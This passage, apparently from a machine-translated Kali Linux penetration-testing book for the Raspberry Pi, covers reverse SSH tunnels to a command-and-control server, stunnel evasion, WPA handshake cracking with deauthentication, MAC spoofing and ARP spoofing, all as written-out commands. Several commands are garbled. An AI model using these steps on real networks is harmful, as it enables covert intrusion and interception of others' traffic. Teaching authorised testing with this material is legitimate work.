dpkg -i triggerhappy_0.3.4-2_armel.deb
dpkg -i lua5.1_5.1.5-4_armel.deb
dpkg -i raspi-config_20121028_all.deb
现在,您将能够启动 raspi-config 实用程序。该实用程序将让您控制树莓派上一些非常特定的硬件功能。正如前面的警告所述,只有在您绝对知道自己在做什么时才应该更改这些内容。
我们个人发现在 1000 MHz 下运行我们的树莓派 B+没有问题。您的情况可能会有所不同,如果这最终导致对您的树莓派造成一些永久性损害,也不要感到惊讶。这也会使您可能拥有的任何保修失效。
以下截图显示了Raspi-config菜单:
我们的具体配置如下:
-
arm_freq 是
1000
-
gpu_freq 是
400
-
sdram_freq 是
500
-
over_voltage 是
6
-
gpu_mem 是
128
在更改硬件设置后,您应该从命令行中发出dmesg
命令来检查是否有任何错误日志。我们发现大多数配置都会将 GPU 频率设置为 500 MHz;然而,几天后我们在系统中不断看到来自dmesg
输出的错误。我们发现将其降低到 400 MHz 后就没有问题了。
设置无线网卡
当您为树莓派购买 Wi-Fi 适配器时,您需要确保它不仅适用于树莓派,而且适用于 Kali Linux。幸运的是,我们使用的几乎每个 Wi-Fi 适配器都适用于树莓派和 Kali Linux。在本书中,我们使用的是 CanaKit Wi-Fi dongle,如下图所示:
CanaKit 制造了一个非常受欢迎的树莓派套件,其中包含了这个版本的 Wi-Fi 适配器。您也可以单独购买适配器。如果您需要购买单独的网卡,请确保它是与 Debian Linux 兼容的。
提示
兼容卡的一个很好的资源是elinux.org/RPi_USB_Wi-Fi_Adapters
。
连接 Wi-Fi 适配器后,您应该首先验证系统是否正常运行。您可以通过在终端窗口中输入iwconfig
命令来进行验证,如以下截图所示:
您应该看到一个代表您的新无线接口的wlan0
接口。下一步是启用该接口。我们通过在终端窗口中输入ifconfig wlan0
命令,然后跟随以下截图中显示的up
关键字来完成这一步骤:
此时,您的无线接口应该已经准备好扫描区域内的无线网络。这将使我们能够测试无线网卡是否正常工作,并评估区域内的无线频谱。我们将通过发出iwlist wlan0 scanning
命令来完成这一步骤,如以下截图所示:
提示
重要的是要记住,您识别到的大多数无线网络都将在 2.4 GHz 范围内。这是因为大多数常见的适配器都是 2.4 GHz 802.11 b/g。根据您的需求,您可能需要更换适配器。
iwlist wlan0 scanning
命令将显示区域内发现的接入点的 SSID 和 MAC 地址。您可以在以下截图中看到,我们扫描到了一个名为Wireless Lab
的网络,其 MAC 地址为0E:18:1A:36:D6:22
。您还可以看到 AP 正在传输的 Wi-Fi 信道,即信道 36
。
我们现在已经在运行 Kali Linux 的树莓派上设置了无线网络。
在 Kali Linux 上设置 3G USB 调制解调器
您可以在 Kali Linux 上使用 3G USB 调制解调器卡,并通过蜂窝网络连接到您的树莓派,以进行隐秘的远程访问。每张卡的制造方式略有不同,因此基于 3G 卡的类型和服务提供商的设置可能会有所不同。我们建议使用MiFi(移动 Wi-Fi的缩写)热点,并通过 Wi-Fi 适配器连接 Kali Linux;但是,如果您想使用 3G USB 调制解调器,请确保它与 Debian 兼容。
在我们的下一个示例中,我们使用华为 3G USB 调制解调器连接卡。这是一张能够在全球大多数频率上工作的 3G GSM 卡。
以下是设置此卡的步骤:
- 打开一个终端窗口,输入以下命令:
wget http://www.ziddu.com/download/22764375/3gusbmodem.zip.html
-
使用
unzip
命令解压文件。 -
在您刚解压缩的目录中进行更改。
-
通过输入
chmod +x 3gusbm*
将文件设置为可执行。 -
通过输入
./3gusbmodem –interactive
来运行脚本。 -
脚本需要几分钟才能运行,请耐心等待。请在提示时选择Kernel模块。
您需要从您的移动提供商中选择接入点名称(APN)。您可能还需要了解您的移动提供商的 APN 登录的用户名和密码。
提示
有时不需要用户名和密码。如果是这种情况,请为用户名和密码输入任何内容。即使您的移动提供商不需要用户名和密码,也应该这样做。
当过程完成后选择确定。一分钟后,您应该看到已成功连接到 3G 网络。
设置 SSH 服务
安全外壳(SSH)允许您从远程位置完全访问树莓派上的 Kali Linux 操作系统。这是使用命令行管理 Linux 系统的最常见方式。由于大多数渗透测试练习不需要 Kali Linux GUI,我们建议您尽可能使用 SSH 或命令行实用程序。我们发现一些 Kali Linux 的安装已启用了 SSH,而其他一些可能需要您安装 OpenSSH 服务器。
您应该首先验证 SSH 服务是否已安装。输入service --status-all
命令来检查 SSH 服务是否正在运行。如果您看到如下截图中所示的+,则一切正常。如果您看到-符号,则需要安装 OpenSSH 服务器。
要安装 OpenSSH 服务器,请打开命令行终端,输入apt-get install openssh-server
以安装 SSH 服务。您需要通过发出service ssh start
命令来启动 SSH 服务,如下截图所示:
启用 SSH 服务后,应该在重新启动后启用 SSH 服务。为此,首先使用update-rc.d -f ssh remove
命令删除 SSH 的运行级设置,如下截图所示:
接下来,使用update-rc.d -f ssh defaults
命令加载 SSH 默认设置,如下截图所示:
现在,您应该在 Kali Linux 系统上永久启用 SSH。您可以在任何时候重新启动系统,而无需重新配置系统以运行 SSH。
SSH 默认密钥和管理
此时,您已经准备好通过 SSH 远程管理树莓派。这很好;但是,默认安装的密钥对对于 OpenSSH 的每个其他默认安装都是非常可预测的。虽然这是可选的,但最佳做法是更改默认密钥。毕竟,如果您的渗透测试机器被黑客入侵,这将是令人尴尬的。
以下是为 Kali Linux 系统创建新 SSH 密钥的步骤:
注意
确保您使用键盘和控制台进行以下步骤。不要尝试在现有的 SSH 会话中执行以下步骤。
- 通过在终端或命令行中输入以下内容来移动默认的 SSH 密钥:
cd /etc/ssh/
mkdir default_kali_keys
mv ssh_host_* default_kali_keys/
- 使用以下命令生成新的密钥,并观察提示:
dpkg-reconfigure openssh-server
Creating SSH2 RSA key; this may take some time ...
Creating SSH2 DSA key; this may take some time ...
Creating SSH2 ECDSA key; this may take some time ...
[ ok ] Restarting OpenBSD Secure Shell server: sshd.
以下屏幕截图显示了前面命令的启动:
最后一步是使用service ssh restart
命令重新启动 Kali Linux 系统上的 SSH 服务。
通过 SSH 进行反向 shell
我们已经讨论了在远程位置使用树莓派的优势。需要考虑的重要事情是,一旦将树莓派放置在目标网络上,您应该如何控制树莓派。最明显和灵活的方式是通过 SSH 连接到 Kali Linux。
由于 Kali Linux 是一个功能齐全的 Linux 操作系统,您可以通过 SSH 控制整个环境;但是,您的传入 SSH 连接可能会被防火墙或其他安全解决方案阻止。许多组织都采取了安全措施,阻止传入连接,以防止其网络中的后门。在白盒评估中,您可能可以明确地打开防火墙,以允许 SSH 连接到您的树莓派,如下图所示。坏消息是,即使从政策上讲这是可能的,但在处理多个站点并受到多个管理控制时,可能难以实现。反向 SSH 是管理运行 Kali Linux 的树莓派的一个很好的替代方法。
在反向连接中,客户端连接并启动与服务器的连接,而不是服务器连接到客户端。在两种情况下,服务器控制客户端。这与许多后门程序的技术相同。对于我们的目的,我们将将其用作管理实用程序。
注意
许多入侵检测和预防解决方案可以根据网络流量的不同来检测基于 SSH 的连接,而不管端口如何。例如,使用端口 443 仍然会与常见的 HTTPS 流量不同。
我们将在ssh
命令中使用R
开关来创建到监听器的反向连接。监听器是接受反向 SSH 连接的设备。在我们的情况下,C&C 服务器是监听器。在远程主机(树莓派)上使用的命令的语法是ssh -R [bind_address:]port:host:hostport
。
R
开关定义了远程端将连接的端口,或者它将如何启动连接。换句话说,我们需要选择一个我们的远程树莓派能够连接的端口。大多数组织没有严格的出站过滤策略,这使得这种方法比标准 SSH 连接更有效。我们发现常见的开放端口是 TCP 端口 22、80、443 或 53,这意味着客户端可能能够自由地使用这些端口连接到外部世界。
注意
诸如下一代防火墙、下一代IPS(入侵防范系统的缩写)和高级代理服务器等严格的出站协议检查设备可能会阻止这些类型的连接。
hostport是您的树莓派上设置用于监听的端口。在我们的情况下,我们运行一个 SSH 服务器,因此默认情况下 hostport 将是22
。您可以将默认端口更改为更隐蔽的端口,或者利用 stunnel,这将在本章中介绍。总之,端口将是 TCP 端口,服务器正在接受来自树莓派的传入连接。hostport 是服务器运行 SSH 服务的端口。
在我们的树莓派示例中,我们将输入以下命令:
ssh -fN -R 7000:localhost:22 username@ip-address-of-your-command-and-control-server
ssh -fN -R 7000:localhost:22 root@192.168.162.133
这假设从我们的树莓派连接的网络允许端口7000
出去。如果不起作用,请尝试不同的端口。大多数组织将允许出站端口443
,如下图所示:
要在您的树莓派上尝试不同的端口,请使用以下命令:
ssh -fN -R 443:localhost:22 root@192.168.162.133
在您的 C&C 中央服务器上,打开命令行终端并输入以下命令:
ssh root@localhost -p 443
您将被提示输入 Kali Linux 树莓派的 root 密码。您可以从最后一个命令行示例中看到,命令提示符已更改。我们现在在我们的远程服务器上,并且完全控制我们的树莓派,如下图所示:
注意
您需要确保 OpenSSH 服务器已安装并正在运行,否则此过程将失败。您很可能会看到连接被拒绝的错误消息。同样重要的是,您已经修改了启动变量,以便在重新启动后您的树莓派上运行 SSH。
这种技术称为反向 shell 隧道。选择任何端口作为您的源端口,例如端口53
,这是 DNS 的相同端口,或端口80
以使用 HTTP 的相同端口。重要的是要记住,更改端口号并不一定意味着您正在更改底层协议。
Stunnel
许多管理员将使用 IDS/IPS 等检测技术来检测和阻止开放 VPN 连接。绕过这一点的一种方法是利用 stunnel。Stunnel 通过在另一个 SSL 封套中隐藏来创建 TCP 客户端和服务器之间的安全通信。这是通过使用行业标准的加密库(如 OpenSSL)在远程客户端和服务器之间充当 SSL 加密包装器来实现的。Stunnel 之所以很酷,是因为它为常用的守护进程(如 POP2、POP3 和 IMAP 服务器)添加了 SSL 功能,而无需更改程序代码。
要使用 stunnel,您首先需要使用apt-get install stunnel4 –y
命令下载代码,如下图所示:
您可能会收到 stunnel 的最新版本已经安装的消息。
您需要在/etc/stunnel/
目录中创建一个名为stunnel.conf
的文件。您可以使用您喜欢的文本编辑器,如 nano 或vi
来创建文件。
以下内容将被配置并输入到stunnel.conf
文件中。请注意,您可以将端口更改为更适合您的内容:
client = no
[squid]
accept = 8888
connect = 127.0.0.1:3128
cert = /etc/stunnel/stunnel.pem
以下屏幕截图显示了stunnel.conf
文件中的配置:
接下来,您需要使用以下命令生成您的私钥:
cd /etc/stunnel/
openssl genrsa -out key.pem 2048
openssl req -new -x509 -key key.pem -out cert.pem -days 1095
cat key.pem cert.pem >> /etc/stunnel/stunnel.pem
sudo bash
cat server.key > server.pem && cat server.crt >> server.pem
chmod 400 /etc/stunnel/server.pem
安装完成后,您需要使用sudo nano /etc/default/stunnel4
命令配置 stunnel。
这将打开.conf
文件。将enable = 0
更改为enable = 1
。接下来,打开一个名为stunnel.conf
的文件,并将以下配置添加到文件中:
sudo nano /etc/stunnel/stunnel.conf
sslVersion = all
options = NO_SSLv2
cert = /etc/stunnel/server.pem
pid = /var/run/stunnel.pid
output = /var/log/stunnel
[openvpn]
client = no
accept = 993
connect = 34567
然后,通过以下命令在树莓派上添加防火墙设置,创建firewall.sh
文件:
Sudo nano /usr/local/bin/firewall.sh
Iptables –A INPUT –p tcp –dport 993 –j ACCEPT
下一步是通过发出以下命令重新启动 stunnel 服务:
/etc/init.d/stunnel4 restart
最后一步是通过发出apt-get install squid3 –y
命令在 Kali Linux 树莓派上安装 Squid 代理。
安装 Stunnel 客户端
现在我们需要安装一个 stunnel 客户端。我们可以通过下载 Windows stunnel 客户端应用程序来完成,该应用程序可在www.stunnel.org/downloads.html
上获得。
以下图像显示了一个 stunnel-installer 可执行文件图标:
安装 Stunnel 客户端
安装完成后,在 Windows 上打开 stunnel 安装目录(通常位于C:\Program Files\stunnel
)。
将您在 Kali 上创建的stunnel.pem
证书复制到 Windows 客户端的同一目录中。
然后,您应该打开stunnel.conf
文件,并用以下内容替换其中的内容(请调整您可能已从我们的示例更改的任何端口设置):
cert = stunnel.pem
client = yes
[squid]
accept = 127.0.0.1:8080
connect = [Server's Public IP]:8888
保存并关闭文件。接下来,运行stunnel.exe
应用程序。您将看到配置页面显示:
现在,您可以使用配置的accept
参数中指定的IP 地址和端口安全地连接到您的 Raspberry Pi:
用一个例子来总结
回到本章开头的例子,让我们看看本章涵盖的主题如何应用于现实世界。回顾一下情况,我们有一个客户需要在多个国际地点提供价格实惠的现场渗透测试服务。为了应对这一挑战,我们组装了一个成本不到一百美元的 Raspberry Pi 托管 Kali Linux 套件,每个地点都有一个。我们把一个套件寄到每个地点,并让当地的人把 Raspberry Pi 连接到当地的网络。连接的方法和我们运行的工具将在下一章中介绍。
每个当地的站点都不知道我们的服务参与,所以我们不得不绕过现有的安全措施,比如配置为阻止出站连接的防火墙。为了做到这一点,我们在邮件端口上设置了 stunnel,并从运行 Kali Linux 的 MacBook 上访问了所有的 Raspberry Pi 套件。这为我们提供了每个 Raspberry Pi 的集中式命令和控制点,以及一个卸载需要大量处理的任何东西的方法。在这一点上,我们开始从美国的家庭办公室的每个 Raspberry Pi 上发动各种攻击。
这种方法的总成本与旅行和现场服务收费相比,是根据最初的预算期望而定的。客户很乐意为每个站点的硬件成本支付几百美元,因为我们对建设和运输的时间有所涨价。除此之外,我们还收取了我们的服务费,就是这样,使整个项目既实惠又成功。
总结
在本章中,您学会了如何定制运行 Kali Linux 的 Raspberry Pi,用于渗透测试环境。我们介绍了调整性能和限制使用命令行配置的 GUI 工具的最佳实践。
一个主要的问题是如何设置一个远程 C&C 服务器,以卸载 Raspberry Pi 的所有可能的任务,以及导出数据(导出数据在第三章中有所涵盖,渗透测试)。这包括建立 Raspberry Pi 和 C&C 服务器之间的通信。我们使用 SSH、HTTPS 和其他类型的隧道来做到这一点。我们还介绍了如何处理将 Raspberry Pi 放在防火墙后,并仍然能够使用反向 shell 隧道管理它。
在本章之后,你应该准备开始你的渗透测试。在下一章中,我们将介绍如何从托管 Kali Linux 的 Raspberry Pi 执行渗透测试练习。
第三章:渗透测试
到目前为止,我们已经介绍了如何构建树莓派,安装 Kali Linux,并通过各种形式的远程访问技术准备好了树莓派进行渗透测试。现在,您已经准备好学习如何使用树莓派在目标网络上捕获数据。本章将为您提供各种基于 LAN 和无线的攻击场景,使用 Kali Linux 中的工具,这些工具经过了针对树莓派的优化,或者您可以使用apt-get
命令下载的工具。Kali Linux 中还有其他工具,以及在线工具;然而,我们将专注于我们发现在树莓派上正常运行的应用程序。
本章将涵盖以下主题:
-
网络扫描
-
Nmap
-
无线安全
-
破解 WPA/WPA2
-
创建单词列表
-
在网络上捕获流量
-
将数据传输到 Pi
-
调整您的网络捕获
-
为未来访问编写 tcpdump 脚本
-
Wireshark 和 TShark
-
用 SSLstrip 击败 HTTPS
提示
由于其大小和处理能力有限,树莓派的性能能力有限。强烈建议在使用树莓派进行实时渗透测试之前,在实验室中测试以下技术。
网络扫描
网络侦察通常是耗时的,但在执行渗透测试时是最重要的一步。您对目标了解得越多,就越有可能找到最快和最简单的成功路径。最佳实践是从不需要与目标互动的侦察方法开始;然而,最终您将需要进行联系。在进行联系时,您需要识别目标系统上的任何开放端口,并绘制出其连接的环境。一旦您侵入了一个系统,通常还有其他网络可以扫描,以更深入地访问您的目标网络。我们将在第四章 树莓派攻击中介绍侵入系统。
树莓派的一个巨大优势是其大小和移动性。通常,Kali Linux 是从目标网络外部的攻击系统中使用的;然而,像 PWNIE Express 和运行 Kali Linux 的小型系统,比如树莓派,可以被放置在网络内部,并且可以远程访问,正如本书的第二章 准备树莓派中所解释的那样。这使得攻击者可以在网络内部拥有一个系统,绕过典型的外围防御,同时进行内部侦察。这种方法带来了明显的风险,需要在网络上物理放置系统,并创建一种远程通信的方法,而不被检测到;然而,如果成功,这可能非常有效。
让我们看一下扫描目标网络的几种流行方法。我们将继续前进,假设您已经在网络上建立了一个立足点,现在想要了解您已连接到的当前环境。
Nmap
用于扫描网络上主机和服务的最流行的开源工具是Nmap(网络映射器的缩写)。Nmap 的高级功能可以检测系统上运行的不同应用程序,并提供诸如 OS 指纹识别功能之类的服务。Nmap 可能非常有效;然而,除非使用正确,否则也很容易被检测到。我们建议在非常特定的情况下使用 Nmap,以避免触发目标的防御系统。
注意
有关如何使用 Nmap 的更多信息,请访问nmap.org/
。
要使用 Nmap 扫描本地网络,请打开终端窗口并键入nmap(目标)
,例如nmap www.somewebsite.com
或nmap 192.168.1.2
。还有许多其他命令可用于调整扫描。例如,您可以调整您希望多隐秘,或指定将结果存储在特定位置。下面的屏幕截图显示了针对www.thesecurityblogger.com运行 Nmap 后的结果。请注意,这只是一个示例,被认为是一个嘈杂的扫描。如果您只输入前面两个命令中的任何一个,您的目标很可能会轻松地认识到您正在执行 Nmap 扫描。
有很多在线资源可供学习如何掌握 Nmap 的各种功能。我们将在本章后面展示使用 Nmap 的其他示例。以下是流行的nmap
命令的参考列表:
-
nmap 192.168.1.0/24
:这将扫描整个 C 类范围 -
nmap -p <端口范围>
:这将扫描特定端口 -
nmap -sP 192.168.1.0/24
:这将扫描网络/查找正在运行的服务器和设备 -
nmap –iflist
:这显示主机接口和路由 -
nmap –sV 192.168.1.1
:这检测远程服务的版本号 -
nmap –sS 192.168.1.1
:这执行隐秘的 TCP SYN 扫描 -
nmap –sO 192.168.1.1
:这将扫描 IP 协议 -
nmap -192.168.1.1 > output.txt
:这将扫描结果保存到文本文件中 -
nmap –sA 192.168.1.254
:这检查主机是否受防火墙保护 -
nmap –PN 192.168.1.1
:这在主机受防火墙保护时进行扫描 -
nmap --reason 192.168.1.1
:这显示端口处于特定状态的原因 -
nmap --open 192.168.1.1
:这只显示打开或可能打开的端口
注意
Kali Linux ARM 映像中不包括 Nmap GUI 软件 Zenmap。在树莓派上运行 Kali Linux 时,不建议使用命令行之外的方式。
无线安全
在 Raspberry Pi 上使用 Wi-Fi 适配器的另一个攻击向量是针对移动平板电脑和笔记本电脑等无线设备。一旦连接,扫描无线网络就类似于在局域网上进行扫描;但是,通常需要解密密码才能连接到无线网络。此外,无线网络标识符称为服务集标识符(SSID)可能不会被广播,但在使用正确的工具时仍然可见。本节将介绍如何绕过无线入网防御,以便访问目标的 Wi-Fi 网络并执行本书中描述的渗透测试步骤。
在使用 Kali Linux 的 Raspberry Pi 上,一个用例是将系统隐藏在或靠近目标网络内,并远程发动无线攻击。目标是使 Raspberry Pi 能够无线访问网络,并提供远程连接回攻击者。攻击者可以在附近使用无线来控制 Raspberry Pi,直到它获得无线访问。一旦进入网络,就可以建立后门,以便攻击者可以从世界任何地方与 Raspberry Pi 通信并发动攻击,如第二章中所述,“准备 Raspberry Pi”。我们将在 Raspberry Pi 攻击的Rogue access honeypots部分中介绍使用恶意访问点构建此攻击示例。
破解 WPA/WPA2
保护无线网络的常见安全协议是Wi-Fi Protected Access(WPA)。WPA 后来被 WPA2 取代,当您进行无线渗透测试时,可能会遇到 WPA2。
WPA 和 WPA2 可以通过Aircrack破解。Kali Linux 包括 Aircrack 套件,这是最流行的破解无线安全的应用之一。Aircrack 通过收集在无线连接上看到的数据包来进行数学分析,以破解较弱的协议,比如Wired Equivalent Privacy(WEP),或者使用一个单词列表对捕获的数据进行暴力破解。
破解 WPA/WPA2 是因为客户端和接入点之间的四次握手存在漏洞。简而言之,客户端将对接入点进行身份验证,并经过一个四步过程。这是攻击者能够抓取密码并使用暴力破解方法来识别它的时间。这个过程中耗时的部分取决于网络密码的独特性,用于暴力破解密码的单词列表的广泛程度,以及系统的处理能力。不幸的是,树莓派缺乏处理能力和硬盘空间来容纳大型的单词列表文件。所以,你可能需要使用John the Ripper等工具在离线系统上破解密码。我们建议大多数 WPA2 破解尝试采用这种方法。
这是使用树莓派的内置选项来破解 Linksys WRVS4400N 无线路由器上运行的 WPA 的过程。我们使用 WPA 的例子,以便可以快速完成树莓派上耗时的部分。大多数 WPA2 破解示例在树莓派上运行会花费很长时间;然而,要遵循的步骤是相同的,可以在更快的离线系统上运行。
步骤如下:
-
通过打开终端并输入
airmon-ng
来启动 Aircrack; -
在 Aircrack 中,我们需要选择用于攻击的所需接口。在上一张截图中,
wlan0
是我的 Wi-Fi 适配器。这是一个插入我的树莓派的 USB 无线适配器。 -
建议在破解外部无线网络时隐藏你的 Mac 地址。Kali Linux ARM 不包含macchanger程序。所以,你应该在终端窗口中使用
sudo apt-get install macchanger
命令来下载它。还有其他改变 Mac 地址的方法,但 macchanger 可以提供一个伪装的 Mac 地址,使你的设备看起来像一个常见的网络设备,比如打印机。这可以是一个有效的避免被发现的方法。 -
接下来,我们需要停止用于攻击的接口,这样我们就可以改变我们的 Mac 地址。所以,对于这个例子,我们将使用以下命令停止
wlan0
:
airmon-ng stop wlan0
ifconfig wlan0 down
- 现在,让我们改变这个接口的 Mac 地址,以隐藏我们的真实身份。使用 macchanger 将你的 Mac 地址更改为一个随机值,并指定你的接口。有选项可以切换到另一种设备类型;然而,对于这个例子,我们将只将其保留为一个随机的 Mac 地址,使用以下命令:
macchanger -r wlan0
我们的随机值在下面的截图中是b0:43:3a:1f:3a:05
。Macchanger 显示我们的新 Mac 地址为unknown
。
- 现在我们的 Mac 地址已经伪装好了,让我们用以下命令重新启动
airmon-ng
:
airmon-ng start wlan0
- 我们需要找到可用的无线网络,这样我们就可以选择我们要攻击的目标。使用以下命令来做到这一点:
airodump-ng wlan0
-
现在你应该看到树莓派范围内可以成为攻击目标的网络。一旦你确定了一个目标,按下Ctrl + C停止搜索。你应该记下 Mac 地址,也称为
BSSID
,以及频道,也称为CH
,被你的目标网络使用。下面的截图显示了我们的目标ESSID
HackMePlease 在CH
6
上运行WPA
: -
下一步是对刚刚复制的 Mac 地址运行
airodump
。你需要以下东西来使这个工作:
-
目标正在使用的信道
-
你复制的 Mac 地址(
BSSID
) -
保存你的数据的文件名
让我们以以下方式运行airodump
命令:
airodump-ng –c [channel number] –w [name of file] –-bssid [target ssid] wlan0
执行此命令后,将打开一个新的终端窗口。保持该窗口打开。
打开另一个终端窗口,用于连接到目标的无线网络。我们将使用以下命令运行aireplay
:
aireplay-ng-deauth 1 –a [target's BSSID] –c [our BSSID] [interface]
对于我们的示例,命令将如下所示:
aireplay-ng -–deauth 1 –a 00:1C:10:F6:04:C3 –c 00:0f:56:bc:2c:d1 wlan0
以下截图显示了上述命令的启动:
注意
当您运行此命令时,您可能无法获得完整的握手。如果发生这种情况,您将不得不等待一个活跃的用户在发动攻击之前对您进行身份验证。使用 Aircrack 时的输出可能会显示类似于打开[file].cap几次,然后是未找到有效的 WPA 握手,如果您在那时没有创建完整的握手并且有人还没有对您进行身份验证。在捕获完整的握手之前,请不要进行下一步操作。
- 最后一步是对捕获的数据运行 Aircrack 以破解 WPA 密钥。使用
-w
选项指定要针对捕获的数据进行扫描的单词列表的位置。您将使用在第 9 步中创建的.cap
文件,因此我们的示例中将使用名称capturefile.cap
。我们将使用以下命令进行此操作:
Aircrack-ng –w ./wordlist.lst wirelessattack.cap
提示
Kali Linux ARM 映像不包括用于破解密码的wordlist.lst
文件。通常,默认的单词列表也不好。因此,建议您使用 Google 查找详尽的单词列表(有关更多信息,请参见下一节有关单词列表的内容)。请注意您在树莓派上的硬盘空间,因为许多单词列表可能太大,无法直接从树莓派使用。运行诸如暴力破解密码之类的进程密集型步骤的最佳做法是在性能更强大的系统上进行。
您将看到 Aircrack 开始并开始尝试单词列表文件中的每个密码与捕获的数据进行匹配。这个过程可能需要一段时间,具体取决于您要尝试破解的密码、列表中的单词数量以及树莓派的处理速度。我们发现这个过程可能需要几个小时到几天,因为这是一个非常繁琐的过程,可能更适合于比树莓派更强大的外部系统。您可能还会发现,在等待几天来整理整个单词列表文件后,您的单词列表不起作用。
注意
如果 Aircrack 没有打开并开始尝试针对密码的密钥,那么您要么没有指定.cap
文件的位置或wordlist.lst
文件的位置,要么您没有捕获到握手数据。默认情况下,先前的步骤会将文件存储在根目录中。您可以将您的 wordlist 文件移动到根目录中,以模仿我们在先前步骤中运行命令的方式,因为我们所有的文件都位于根目录文件夹中。您可以通过输入ls
来列出当前目录中的文件,以验证这一点。确保列出每个命令调用的每个文件的正确目录。
如果您的攻击成功,您应该会看到类似于以下截图,显示已识别的密码为sunshine:
在远程机器上执行此最后一步是个好主意。您可以设置 FTP 服务器并将您的.cap
文件推送到该 FTP 服务器,或者使用本章后面找到的为将来访问编写 tcpdump 脚本部分中介绍的类似步骤。
提示
您可以在www.raspberrypi.org/forums/viewtopic.php?f=36&t=35661
了解有关设置 FTP 服务器的更多信息。
创建单词列表
有许多来源和工具可用于开发攻击的字典。一个名为自定义字典生成器(CeWL)的流行工具允许您创建自己的自定义字典文件。如果您的目标是个人,并且想要从他们的博客、LinkedIn 或其他网站中获取常用词,这将非常有用。CeWL 不是预装在 Kali Linux ARM 映像上的,因此您需要使用apt-get install cewl
进行下载。
要使用 CeWL,打开终端窗口并输入您的目标网站。CeWL 将检查 URL 并根据找到的所有唯一单词创建一个字典。在以下示例中,我们使用以下命令创建了一个在安全博客www.drchaos.com上找到的常用词的字典:
cewl www.drchaos.com -w drchaospasswords.txt
以下屏幕截图显示了上述命令的启动:
您还可以在互联网上找到许多流行的字典文件示例。以下是一些您可以使用的字典示例来源;但是,还要确保在 Google 上研究其他选项:
以下是本书的合著者之一整理的一个字典:
www.drchaos.com/public_files/chaos-dictionary.lst.txt
在网络上捕获流量
获得对目标网络的访问是很好的。但是,通常一旦建立了立足点,下一步就是开始查看数据。为此,您需要一种捕获和查看网络数据包的方法。这意味着将您的树莓派变成一个远程可访问的网络监听器。
提示
许多这些工具可能会使您的树莓派超载并崩溃。请注意我们关于何时使用调整方法以避免发生这种情况的建议。
Tcpdump
Tcpdump 是基于命令行的数据包分析器。您可以使用tcpdump
来拦截和显示传输和系统附加的 TCP/IP 和其他数据包。这意味着树莓派必须能够访问您打算查看的网络流量,否则使用 tcpdump 将不会为您提供任何有用的数据。Tcpdump 未与默认的 Kali Linux ARM 映像一起安装,因此您需要使用sudo apt-get install tcpdump
命令进行安装。
安装后,您可以通过简单地打开终端窗口并输入sudo tcpdump
来运行tcpdump
。以下屏幕截图显示了上述命令启动后我们可见的流量流:
正如前面的屏幕截图所示,如果没有正确的流量通过树莓派,实际上没有什么可见的。基本上,我们在插入到 802.1X 启用的交换机中时看到了自己的流量,这并不有趣。让我们看看如何通过树莓派获取其他系统的数据。
提示
运行tcpdump
会消耗大量树莓派的处理能力。我们发现这可能会导致树莓派自己崩溃,或者在使用其他应用程序时崩溃。我们建议您调整数据捕获,以避免发生这种情况。数据捕获的调整将在本章后面介绍。
中间人攻击
捕获敏感信息的一种常见方法是执行中间人攻击。根据定义,中间人攻击是指攻击者在积极窃听通信的同时与受害者进行独立连接。这通常是在主机和系统之间完成的。例如,捕获密码的一种常见方法是在用户传递给 Web 服务器的登录凭据之间充当中间人。我们将介绍这个以及在 Kali Linux 中找到的几种其他常见的中间人攻击方法。
让我们看一下用于将数据传输到您的树莓派的中间人攻击的几个版本。
将数据传输到 Pi
有几种方法可以将数据传输到您的树莓派。一种方法是使用两个以太网端口将树莓派放置在两个系统之间。这需要一个 USB 到以太网适配器,并且需要能够以这种方式物理连接树莓派。在下面的示例中,我们将 Windows 笔记本电脑连接到我们的树莓派的一端,将网络交换机连接到另一端。其中一个以太网端口是一个 USB 适配器。
对于实时渗透测试,您可以自定义树莓派的保护外壳,如下图所示,以模仿从电源插头到网络中心的任何东西,以隐藏您的攻击系统。我们发现,如果看起来像属于那里的东西,普通人不会去碰网络设备上连接的小盒子。曾经,我们还将树莓派放在办公文具中,比如一个空的闹钟,以在授权的渗透测试期间将其隐藏起来。
树莓派需要配置为将目标系统的以太网端口桥接到面向网络的端口,反之亦然,以便查看流量。如果不这样做,流量将在到达树莓派后中断。在执行此操作之前,您需要安装将用于将两个端口桥接在一起的bridge
实用程序。要安装此程序,请使用apt-get install bridge-utils
命令。安装完成后,以下是将树莓派用于网络监听目的的桥接程序。
提示
以这种方式设置树莓派也是将其用作入侵检测/预防资产的理想选择。我们将在第六章中介绍这一点,其他树莓派项目。
- 您需要将两个以太网端口都配置为开放 IP 地址,也就是将它们设置为
0.0.0.0
。要做到这一点,请使用以下命令为两个接口设置ifconfig eth[interface number] 0.0.0.0
命令:
Ifconfig eth0 0.0.0.0
Ifconfig eth1 0.0.0.0
注意
在执行此操作之前,请确保下载bridge-utils
实用程序,否则您将需要将面向互联网的接口恢复到工作状态,以便在继续之前下载该实用程序。另一个解决方法是临时安装 USB 到 Wi-Fi 适配器或另一个 USB 到以太网适配器,以恢复在线状态并下载缺少的应用程序。
- 接下来,我们将使用
brctl
命令将接口桥接到bridge0
接口,并添加两个以太网接口:
brctl addbr bridge0
brctl addif bridge0 eth0
brctl addif bridge0 eth1
如果您尚未安装bridge-utils
实用程序,则此命令将无法工作。
- 最后一步是使用以下命令打开包含两个以太网接口的新桥:
Ifconfig bridge0 up
以下屏幕截图显示了所有命令的外观:
以下屏幕截图显示了 tcpdump 查看流量的输出,当目标笔记本电脑浏览互联网时:
提示
你可能会发现一些流量,比如基于 Web 的 SSL 流量是加密的。我们将在本章后面介绍如何使用 SSLstrip 来击败这一点。
通过树莓派获取数据的另一种方法是使用中间人方法从同一网络子网上的系统重定向流量,这样您就不必处理目标的物理连接。让我们看看这是如何工作的。
注意
许多由 Cisco 和 Juniper 等厂商制造的网络交换机提供了避免地址解析协议(ARP)中毒的技术。因此,我们建议在真实的渗透测试环境中使用网络监听器方法。
ARP 欺骗
使用树莓派捕获数据的第二种方法是在同一网络上识别目标系统,并通过树莓派 ARP 欺骗其流量。为此,您需要下载dsniff
软件包,因为它不是预装在 Kali Linux ARM 镜像上的。在启动 ARP 欺骗练习之前,使用sudo apt-get install dsniff
命令安装软件包。安装dsniff
后,您就可以使用以下步骤开始 ARP 欺骗攻击:
注意
如果目标交换机启用了 ARP 中毒防范措施,这种方法将无效。例如,在 Cisco 交换机上,启用DHCP 监听和动态 ARP 检查将阻止这种攻击。在 Cisco 交换机上,这些命令看起来像ip dhcp snooping
和ip arm inspection vlan [vlan number]
。
- 启用 IP 转发以启用 ARP 欺骗,以便将数据包在目标和树莓派之间传递,使用以下命令:
echo 1 > /proc/sys/net/ipv4/ip_forward
提示
